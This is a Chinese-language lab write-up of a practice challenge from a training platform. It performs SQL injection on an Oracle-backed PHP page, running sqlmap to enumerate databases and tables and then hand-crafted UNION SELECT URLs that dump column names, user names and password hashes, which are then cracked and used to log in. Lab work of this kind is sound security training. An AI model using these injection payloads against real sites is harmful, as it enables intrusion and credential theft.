墨者学院SQL手工注入漏洞测试(Oracle数据库)--成功注入教程

我的靶机地址是http://124.70.71.251:41135/new_list.php?id=1

1、拿到地址首先直接用sqlmap开扫
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -dbs

扫在这里插入图片描述
2、查看当前使用的数据库
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -current-db
知道了当前使用的数据库是SYSTEM

在这里插入图片描述
获取当前数据库的表:
python sqlmap.py -u http://124.70.71.251:41135/new_list.php?id=1 -D SYSTEM -tables
可知表名为SNS_USERS
在这里插入图片描述
之后再使用sqlmap想查看字段名就不行了,接下来就使用手工注入,使用:
http://124.70.71.251:41135/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual
查看字段名

在这里插入图片描述
查看第二个字段名

http://124.70.71.251:41135/new_list.php?id=-1 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'null' from dual

在这里插入图片描述
获取最后的密码:

http://124.70.71.251:41135/new_list.php?id=-1 union select user_name,user_pwd from "sns_users" where user_name not in 'hu'

在这里插入图片描述
将密码md5解密后登陆系统
在这里插入图片描述


版权声明:本文为qq1140037586原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。